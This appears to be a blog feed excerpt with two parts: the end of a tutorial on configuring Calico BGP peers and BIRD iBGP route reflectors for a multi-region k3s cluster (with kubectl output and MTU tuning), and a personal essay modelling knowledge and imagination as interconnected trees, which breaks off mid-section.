&lt;pre&gt;&lt;code&gt;apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-domestic
spec:
  nodeSelector: region == &apos;Domestic&apos; # This part is not actually used; I originally designed a general aggregation router in the Domestic area
  peerIP: 100.64.0.108
  asNumber: 64512
---
apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-wds
spec:
  nodeSelector: region == &apos;WDS&apos;
  peerIP: 192.168.100.1
  asNumber: 64512
---
apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-global
spec:
  nodeSelector: region == &apos;Global&apos;
  peerIP: 100.64.1.106
  asNumber: 64512
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All nodes with label &lt;code&gt;region&lt;/code&gt; equal to &lt;code&gt;Domestic&lt;/code&gt; will have a BGP session to &lt;code&gt;100.64.0.108&lt;/code&gt; (the domestic aggregation router) using AS &lt;code&gt;64512&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;All nodes with label &lt;code&gt;region&lt;/code&gt; equal to &lt;code&gt;WDS&lt;/code&gt; will have a BGP session to &lt;code&gt;192.168.100.1&lt;/code&gt; (the Gateway for all VMs under the WDS node) using AS &lt;code&gt;64512&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;All nodes with label &lt;code&gt;region&lt;/code&gt; equal to &lt;code&gt;Global&lt;/code&gt; will have a BGP session to &lt;code&gt;100.64.1.106&lt;/code&gt; (the overseas aggregation router) using AS &lt;code&gt;64512&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This achieves what is shown in the diagram: all VMs under the WDS node, including the master and KubeNode-WDS1, connect to the Gateway aggregation router of the WDS node, and all nodes in overseas areas connect to the overseas aggregation router.&lt;/p&gt;
&lt;h3&gt;Configure Aggregation Router iBGP&lt;/h3&gt;
&lt;p&gt;This part is simply a matter of writing Bird configuration files (easy).&lt;br /&gt;
Here are a few examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;k3s/ibgp.conf&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;function is_insider_as(){
    if bgp_path.len &amp;gt; 0 &amp;amp;&amp;amp; !(bgp_path ~ [= 64512 =]) then {
        return false;
    }

    if net ~ [ 10.42.0.0/16{16,32} ] then {
        return true;
    }

    return false;
}

template bgp k3sbackbone{
    local as K3S_AS;
    router id INTRA_ROUTER_ID;
    neighbor as K3S_AS;

    ipv4{
        table intra_table_v4;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
        extended next hop;
    };

    ipv6{
        table intra_table_v6;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };
};

template bgp k3speers{
    local as K3S_AS;
    neighbor as K3S_AS;
    router id INTRA_ROUTER_ID;
    rr client;
    rr cluster id INTRA_ROUTER_ID;

    ipv4{
        table intra_table_v4;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };

    ipv6{
        table intra_table_v6;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };
};

include &quot;ibgpeers/*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ibgpeers/backbone-cn.conf&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &apos;k3s_backbone_cn_v4&apos; from k3sbackbone{
    neighbor fd18:3e15:61d0:cafe:f001::1;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ibgpeers/master.conf&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &apos;k3s_master_v4&apos; from k3speers{
    neighbor 192.168.100.251;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Main points: it&apos;s best not to enable Route Reflector between the aggregation routers, and remember to enable &lt;code&gt;next hop self&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;After everything is done, using &lt;code&gt;kubectl get nodes&lt;/code&gt; should show all nodes as Ready:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NAME             STATUS   ROLES           AGE     VERSION
kubemaster       Ready    control-plane   2d23h   v1.34.5+k3s1
kubenode-hkg04   Ready    &amp;lt;none&amp;gt;          11h     v1.34.6+k3s1
kubenode-wds-1   Ready    &amp;lt;none&amp;gt;          2d7h    v1.34.5+k3s1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;kubectl get pods -A -o wide&lt;/code&gt; to view Pods:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NAMESPACE         NAME                                       READY   STATUS      RESTARTS        AGE     IP                NODE             NOMINATED NODE   READINESS GATES
calico-system     calico-kube-controllers-64fc874957-6bdlz   1/1     Running     0               5h38m   10.42.253.136     kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-node-2qz82                          1/1     Running     0               4h24m   10.2.5.7          kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-node-dhl2c                          1/1     Running     0               4h24m   192.168.100.251   kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-node-nbpkj                          1/1     Running     0               4h23m   192.168.100.252   kubenode-wds-1   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-typha-7bb5db4bdc-rfpwg              1/1     Running     0               5h38m   10.2.5.7          kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-typha-7bb5db4bdc-rwwr5              1/1     Running     0               5h38m   192.168.100.251   kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     csi-node-driver-jglwp                      2/2     Running     0               5h38m   10.42.64.68       kubenode-wds-1   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     csi-node-driver-jqjsc                      2/2     Running     0               5h38m   10.42.253.137     kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     csi-node-driver-vk26s                      2/2     Running     0               5h38m   10.42.141.16      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       coredns-695cbbfcb9-8fx4p                   1/1     Running     1 (7h27m ago)   2d23h   10.42.141.14      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       helm-install-traefik-crd-5bkwx             0/1     Completed   0               2d23h   &amp;lt;none&amp;gt;            kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       helm-install-traefik-m9fgj                 0/1     Completed   1               2d23h   &amp;lt;none&amp;gt;            kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       local-path-provisioner-546dfc6456-dmn4g    1/1     Running     1 (7h27m ago)   2d23h   10.42.141.15      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       metrics-server-c8774f4f4-2wkwh             1/1     Running     1 (7h27m ago)   2d23h   10.42.141.12      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       svclb-traefik-999cddce-hpmcm               2/2     Running     6 (7h26m ago)   11h     10.42.253.134     kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       svclb-traefik-999cddce-q4225               2/2     Running     2 (7h27m ago)   2d22h   10.42.141.9       kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       svclb-traefik-999cddce-xmd64               2/2     Running     2 (7h26m ago)   2d6h    10.42.64.66       kubenode-wds-1   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       traefik-788bc4688c-vbbhj                   1/1     Running     1 (7h27m ago)   2d22h   10.42.141.13      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
tigera-operator   tigera-operator-6b95bbf4db-vl46l           1/1     Running     1 (7h27m ago)   2d23h   192.168.100.251   kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;kubectl exec -it -n calico-system &amp;lt;calico-node-xxxx&amp;gt; -- birdcl s p&lt;/code&gt; to check the status of Bird:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@KubeMaster:~/kube/calico# kubectl exec -it -n calico-system calico-node-2qz82 -- birdcl s p
Defaulted container &quot;calico-node&quot; out of: calico-node, flexvol-driver (init), install-cni (init)
BIRD v0.3.3+birdv1.6.8 ready.
name     proto    table    state  since       info
static1  Static   master   up     08:58:17    
kernel1  Kernel   master   up     08:58:17    
device1  Device   master   up     08:58:17    
direct1  Direct   master   up     08:58:17    
Mesh_192_168_100_251 BGP      master   up     08:58:33    Established   
Mesh_192_168_100_252 BGP      master   up     08:59:00    Established   
Node_100_64_1_106 BGP      master   up     12:57:44    Established   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ip r&lt;/code&gt; shows the system routing table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@KubeMaster:~/kube/calico# ip r
default via 192.168.100.1 dev eth0 proto static 
10.42.64.64/26 proto bird 
        nexthop via 192.168.100.1 dev eth0 weight 1 
        nexthop via 192.168.100.252 dev eth0 weight 1 
blackhole 10.42.141.0/26 proto bird 
10.42.141.9 dev caliac6501d3794 scope link 
10.42.141.12 dev calib07c23291bb scope link 
10.42.141.13 dev caliab16e60bd19 scope link 
10.42.141.14 dev calid5959219080 scope link 
10.42.141.15 dev cali026d8f1ddb7 scope link 
10.42.141.16 dev califa657ba417a scope link 
10.42.253.128/26 via 192.168.100.1 dev eth0 proto bird 
192.168.100.0/24 dev eth0 proto kernel scope link src 192.168.100.251 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ping a Pod&apos;s IP – if everything is fine, it should work directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@KubeMaster:~/kube/calico# ping 10.42.253.137
PING 10.42.253.137 (10.42.253.137) 56(84) bytes of data.
64 bytes from 10.42.253.137: icmp_seq=1 ttl=60 time=33.7 ms
64 bytes from 10.42.253.137: icmp_seq=2 ttl=60 time=33.5 ms
^C
--- 10.42.253.137 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 33.546/33.632/33.718/0.086 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tune MTU&lt;/h3&gt;
&lt;p&gt;This step is actually for stability…?&lt;br /&gt;
Tests have shown that although my ZeroTier MTU is 1420, packets start to fragment around 1392 bytes (test with &lt;code&gt;ping -M do -s &amp;lt;packet size&amp;gt; &amp;lt;Pod_IP&amp;gt;&lt;/code&gt;). Therefore, force the Pod MTU to 1370:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@KubeMaster:~/kube/calico# cat patch-mtu.yaml 
apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  calicoNetwork:
    mtu: 1370
    nodeAddressAutodetectionV4:
      firstFound: true
root@KubeMaster:~/kube/calico# kubectl apply -f patch-mtu.yaml 
installation.operator.tigera.io/default configured
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>From Reflections on Imagination to Cognition, Creativity, and the Logic Tree</title><link>https://blog.iyoroy.cn/posts/en-261/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-261/</guid><description>A personal reflection on whether knowledge limits imagination, using trees and networks to describe learning and association, including revisions to the model and its limitations.</description><pubDate>Fri, 20 Mar 2026 02:29:00 GMT</pubDate><content:encoded>&lt;h1&gt;Starting Point: Thoughts Sparked by a Debate Topic&lt;/h1&gt;
&lt;p&gt;While scrolling through my social feed, I saw a friend post this:&lt;br /&gt;
&lt;img src=&quot;./images/2026/03/380833729.png&quot; alt=&quot;Pasted image 20260316124742.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Keep thinking to keep your mind sharp.  
Today’s Debate:  
Does imagination increase with the level of cognitive development, or does it decrease?  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My initial thought was, &quot;This definitely isn&apos;t the whole picture.&quot;&lt;br /&gt;
Based on my own experience, when I&apos;m genuinely interested in researching or learning something, I not only learn it quickly but can also apply and build upon it. Conversely, I find the knowledge taught in school uninteresting and feel no desire to apply or innovate with it.&lt;/p&gt;
&lt;p&gt;So, I came up with my first version of an answer:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Personally, I think it depends on how one&apos;s cognitive level increases.&lt;br /&gt;
If it&apos;s through forced learning, the content is passively received. People won&apos;t find it interesting or worth thinking about. In this case, it likely won&apos;t expand imagination.&lt;br /&gt;
But if it&apos;s a spontaneous pursuit of knowledge, an increase in cognitive level won&apos;t extinguish curiosity about the unknown. In this scenario, a higher cognitive level allows imagination to delve deeper and become more logically coherent on this basis.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Later, that friend replied, &quot;So, rote education really stifles creativity and imagination,&quot; and I agreed.&lt;br /&gt;
But was the discussion over...?&lt;/p&gt;
&lt;h1&gt;The Thinking Phase&lt;/h1&gt;
&lt;h2&gt;First Deepening: Logical Coherence&lt;/h2&gt;
&lt;p&gt;In my initial reply, I mentioned logical coherence. I didn&apos;t think much of it at the time, but upon reflection later, I realized this could well explain the skeleton of imagination: &lt;strong&gt;Imagination is the process of conducting logical deductions and envisioning possibilities based on existing knowledge, all within the current logical framework&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As children, our wild fantasies stemmed from knowing very little. We could only make inferences and assumptions based on our limited understanding of everyday physics. They were logically coherent &lt;em&gt;within that simple framework&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;As adults, with more knowledge, our fantasies transform into creation. This is also driven by imagination, but it&apos;s a purposeful, directional advance within the framework of existing knowledge. It is also logically coherent.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Essentially, both are about imagination constructing a &quot;plausible&quot; world. The difference lies solely in the foundational knowledge and logical systems used during construction. Foundational knowledge comes from learning, while the logical system comes from our understanding of life and the world – our life experiences. An increase in cognitive level merely changes the rules that &quot;coherence&quot; must follow. Childhood &quot;coherence&quot; follows story logic, while adult &quot;coherence&quot; follows scientific and social logic.&lt;br /&gt;
Furthermore, when cognitive level is low, due to a simpler knowledge system, imagination often produces disconnected points, each potentially coherent on its own. As cognitive level increases, we gradually construct a complete, vast, and interconnected knowledge system of the world. Imagining within this framework to achieve global &lt;strong&gt;logical coherence&lt;/strong&gt; is precisely the &lt;strong&gt;purposeful, directional creation&lt;/strong&gt; mentioned earlier.&lt;/p&gt;
&lt;p&gt;Following this line of thought, we could even say the real challenge brought by increased cognition isn&apos;t losing the ability for &quot;logical coherence,&quot; but rather maintaining the &lt;strong&gt;vitality of &quot;logical coherence&quot;&lt;/strong&gt; when the knowledge system becomes too large – that is, preventing the existing framework from becoming a cage, allowing imagination to still find new combinations in the gaps.&lt;/p&gt;
&lt;h2&gt;Second Deepening: The Boundaries of Everyday Experience&lt;/h2&gt;
&lt;p&gt;From the above, it&apos;s easy to think that maintaining the logical coherence of imagination relies heavily on our understanding of the world and on everyday experience. This raises a new question: When a person&apos;s knowledge accumulation surpasses their personal everyday experience, how can they maintain this logical coherence in imagination? In other words, when the knowledge we acquire is completely beyond the scope of our direct understanding, how should we expand and diverge based on it?&lt;/p&gt;
&lt;p&gt;During this reflection, I realized the premise itself might be incomplete. Consider two examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For me, I enjoy the process of designing and implementing computer software and building networks. From my perspective, this falls within the realm of everyday experience.&lt;/li&gt;
&lt;li&gt;For a friend of mine who loves mathematics, deriving advanced calculus equations is something within &lt;em&gt;his&lt;/em&gt; everyday experience.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These two examples illustrate well: &lt;strong&gt;&quot;Everyday experience&quot; itself is a benchmark that shifts as one&apos;s cognitive level changes.&lt;/strong&gt;&lt;br /&gt;
From this, we can infer:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Cognition Reshapes the Boundaries of &quot;Everyday&quot;:&lt;/strong&gt; My friend enjoys deriving calculus because its symbols and logic have integrated into his cognitive framework, becoming a part of his thinking. Thus, he can intuitively imagine and explore within the logic of advanced math. For me, tinkering with computers is similarly based on my internalized knowledge system, making its content feel like everyday experience.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Multifaceted Nature of Imagination:&lt;/strong&gt; When someone possesses deep cognition in a field, their imaginative activities within that field might seem like incomprehensible creations to an observer, but to themselves, it might just be an &quot;everyday,&quot; intuitive deduction. Imagination hasn&apos;t disappeared; it has permeated the underlying layers of thought, becoming &lt;strong&gt;an ability to skillfully achieve &quot;logical coherence&quot; and explore possibilities within a professional framework.&lt;/strong&gt; What outsiders see as &quot;transcendence,&quot; the individual experiences as &quot;everyday.&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Thus, the original debate topic is incomplete. Its flaw lies in presupposing a universally average cognitive level and standard of everyday experience, whereas they are actually &lt;strong&gt;highly individualistic.&lt;/strong&gt;&lt;br /&gt;
An increase in cognitive level means the domain where one can &quot;transcend everyday experience&quot; expands. Thoughts that seem fantastical to others are, for the thinker, rigorous deductions based on solid theory. Increasing cognition is the process of continuously transforming what was once &quot;beyond everyday experience&quot; into &quot;everyday experience.&quot; In this process, imagination doesn&apos;t diminish; it changes form – from unconstrained fantasy to logically coherent creation within an existing framework.&lt;/p&gt;
&lt;p&gt;Furthermore, we can conclude that this type of imagination, based on deep cognition and &quot;routinized&quot; knowledge, and childhood imagination based on common sense and naivety, are essentially the same thing: a yearning for the &lt;strong&gt;unknown&lt;/strong&gt;. However, because they operate under different constraints – one bound by a comprehensive knowledge system, the other by a shallow understanding of physical laws – their manifestations differ significantly.&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;At this point, we&apos;ve summarized several key points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Imagination isn&apos;t just wild fancy; it&apos;s the pursuit of logical coherence within an existing framework.&lt;/li&gt;
&lt;li&gt;&quot;Everyday experience&quot; is a moving benchmark; it represents the boundaries of the knowledge system one can flexibly use and expands as one learns.&lt;/li&gt;
&lt;li&gt;Increasing cognitive level doesn&apos;t destroy imagination; it reshapes the rules by which it achieves coherence.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, the answer to the debate topic cannot be a simple &quot;increases&quot; or &quot;decreases.&quot; It depends on the method of cognitive growth and the observer&apos;s perspective.&lt;/p&gt;
&lt;h1&gt;Model Construction&lt;/h1&gt;
&lt;p&gt;From the above questions, I couldn&apos;t help but wonder: what should an individual&apos;s knowledge system structure look like? How do we organize scattered pieces of knowledge into a system capable of supporting &quot;logical coherence&quot;? And how do we create new content within this system through creativity?&lt;/p&gt;
&lt;h2&gt;Introducing the Tree Model&lt;/h2&gt;
&lt;p&gt;First, I thought of a graph theory structure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Individual knowledge points are discrete nodes.&lt;/li&gt;
&lt;li&gt;Learning is the process of creating new nodes.&lt;/li&gt;
&lt;li&gt;Reviewing and applying knowledge is about linking nodes to the existing knowledge system.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This explains why just studying without practice doesn&apos;t lead to good understanding – because without establishing connections, the node remains isolated. We can&apos;t link the knowledge point to our existing system, preventing us from recalling it when faced with related problems. In other words, it fails to become internalized as part of &quot;everyday experience.&quot;&lt;/p&gt;
&lt;p&gt;Then I realized this model might be too flat for explaining knowledge structures. Real knowledge systems often have strict hierarchical and containment relationships, so I thought a tree structure might be more suitable:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Knowledge points often have distinct levels.&lt;/li&gt;
&lt;li&gt;Relationships between points include logical connections like derivation and inverse application, implying parent-child or hierarchical links.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Based on this, I attempted to construct a tree-structured knowledge map.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nodes&lt;/strong&gt; are knowledge units.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edges&lt;/strong&gt; are logical relationships, such as dependency, inheritance, instantiation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root nodes&lt;/strong&gt; are underlying principles/axioms.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Leaf nodes&lt;/strong&gt; are derived theorems/phenomena/applications.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The process of building knowledge is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Everyone starts from the nodes they know. Learning new things is expanding the system upward, towards the root nodes.&lt;/li&gt;
&lt;li&gt;Innovation and imagination involve exploring downward from existing nodes to derive new child nodes.&lt;br /&gt;
Thus, the more we know, the more nodes we have from which we can branch out further.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Based on this model, we can explain the previously mentioned &quot;constraint of cognition on creativity&quot; and why passive learning fails to expand it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Parent Nodes Constrain Child Nodes&apos; Content:&lt;/strong&gt; What kind of child nodes a node can produce isn&apos;t random; it must satisfy the logical constraints and relationships of the parent node. Exercising imagination essentially means &lt;strong&gt;instantiating new, valid nodes&lt;/strong&gt; within the limits permitted by the parent knowledge system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Passive Learning:&lt;/strong&gt; It merely adds some &lt;strong&gt;isolated nodes&lt;/strong&gt; to the tree, or establishes only &lt;strong&gt;shallow references&lt;/strong&gt;. Although these nodes exist in the knowledge tree, they lack upward connections to existing knowledge points. When we need to explore downwards through imagination, we might know of their existence, but they can&apos;t generate new, effective connections.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, this model still couldn&apos;t explain some things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It couldn&apos;t account for knowledge from multiple different domains.&lt;/li&gt;
&lt;li&gt;Many knowledge points are interwoven or even cross-disciplinary. This model couldn&apos;t explain the phenomenon of cross-domain application of knowledge.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, I considered whether a more comprehensive model could be built.&lt;/p&gt;
&lt;h2&gt;Multi-Root, Multi-Tree + Graph Connections&lt;/h2&gt;
&lt;p&gt;To explain different domains and cross-disciplinary links, I revisited the initial graph theory idea but retained the tree structure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The human cognitive system consists of &lt;strong&gt;multiple independent tree structures&lt;/strong&gt;. Different trees represent knowledge in different domains.&lt;/li&gt;
&lt;li&gt;These tree structures and their child nodes are interconnected through a &lt;strong&gt;network of links&lt;/strong&gt;, forming a complex network that possesses both hierarchical depth and lateral connectivity.&lt;/li&gt;
&lt;li&gt;Knowledge exists as &lt;strong&gt;nodes&lt;/strong&gt; and &lt;strong&gt;edges&lt;/strong&gt;, and mental activities (learning, understanding, imagining, creating) are essentially the &lt;strong&gt;traversal, restructuring, and expansion of this network&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Model Components&lt;/h3&gt;
&lt;p&gt;This model comprises &lt;strong&gt;Nodes&lt;/strong&gt;, &lt;strong&gt;Edges&lt;/strong&gt;, &lt;strong&gt;Root Nodes&lt;/strong&gt;, &lt;strong&gt;Trees&lt;/strong&gt;, and &lt;strong&gt;Canopies&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Node&lt;/strong&gt;: A unit of knowledge, which could be a concept, fact, phenomenon, or skill.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edge&lt;/strong&gt;: Represents a logical relationship between nodes. These can be further divided into two types:
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Tree Edge&lt;/strong&gt;: Represents inheritance, derivation, or causal relationships &lt;em&gt;within&lt;/em&gt; a tree (&quot;is a kind of,&quot; &quot;is part of,&quot; &quot;can be derived from&quot;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Edge&lt;/strong&gt;: Represents associative, analogical, or combinable relationships &lt;em&gt;between&lt;/em&gt; trees or their child nodes (&quot;is similar to,&quot; &quot;can be combined with,&quot; &quot;symbolizes&quot;).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root&lt;/strong&gt;: As in the previous tree model, it represents the &lt;strong&gt;underlying principle&lt;/strong&gt; or &lt;strong&gt;first-principle assumption&lt;/strong&gt; of a domain, like the laws of physics for physics.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tree&lt;/strong&gt;: A hierarchical structure composed of a root node and all its descendants.
&lt;ul&gt;
&lt;li&gt;The interior of a tree is completely logically coherent.&lt;/li&gt;
&lt;li&gt;Root nodes of different trees may not have derivational relationships, but their child nodes often do.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Canopy&lt;/strong&gt;: The top region of a tree, representing the specific practices, phenomena, applications, or experiential knowledge of a domain.
&lt;ul&gt;
&lt;li&gt;The canopy is often a dense area for network edges because concrete practices usually involve knowledge from multiple domains.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Operational Mechanisms&lt;/h3&gt;
&lt;h4&gt;1. Learning&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tracing Roots Upward&lt;/strong&gt;: Starting from a node, follow tree edges towards the root to understand its principles.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Branching Downward&lt;/strong&gt;: Starting from a node, follow tree edges towards the leaves to explore its applications.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. Understanding&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Assimilation&lt;/strong&gt;: A new node finds a suitable parent and is attached to an existing tree.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Accommodation&lt;/strong&gt;: A new node cannot be attached -&amp;gt; Adjust the root node or reorganize branches -&amp;gt; Restructure the tree.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-Tree Connection&lt;/strong&gt;: A new node attaches to multiple trees simultaneously, or establishes network edges between trees.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. Imagination and Creation&lt;/h4&gt;
&lt;p&gt;The core operation of imagination is: &lt;strong&gt;Establishing new network edges between nodes of seemingly unrelated trees.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Discover that a node in Tree A can connect to a node in Tree B.&lt;/li&gt;
&lt;li&gt;Follow this new edge, and through association, synthesis, etc., grow a new node that didn&apos;t exist before.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. Forgetting and Invalidation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Isolated Node&lt;/strong&gt;: A node exists but has no effective edges connecting it to any tree -&amp;gt; Cannot be recalled, cannot participate in creation or thought processes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weak Connections&lt;/strong&gt;: Network edges unused for a long time -&amp;gt; Their weight decreases -&amp;gt; Hard to activate -&amp;gt; Forgetting.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Properties&lt;/h3&gt;
&lt;p&gt;This model possesses the following properties:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hierarchy&lt;/strong&gt;: Each tree has a clear internal structure: Root (principle/axiom) -&amp;gt; Child Nodes (core inferences) -&amp;gt; Child Nodes (sub-fields) -&amp;gt; Leaf Nodes (phenomena/applications).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modularity&lt;/strong&gt;: Each tree is relatively independent and can grow on its own.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Connectivity&lt;/strong&gt;: Any nodes between trees can potentially connect based on association or cross-disciplinary application, but due to root node characteristics, connections typically occur between child nodes and leaves.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Growth&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vertical Growth&lt;/strong&gt;: Learning towards root nodes (understanding principles) and expanding applications towards leaf nodes (deriving applications) &lt;em&gt;within&lt;/em&gt; a tree.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Horizontal Growth&lt;/strong&gt;: Creating new knowledge or applications &lt;em&gt;between&lt;/em&gt; trees through association, synthesis, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Robustness and Fragility&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Damage to part of a single tree doesn&apos;t affect the operation of other trees.&lt;/li&gt;
&lt;li&gt;If the root node of a tree is disproven, causing the entire tree to collapse, it can implicate a large part of its interconnected neighbors.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;The Tree Part: Ensures Logical Structure&lt;/h4&gt;
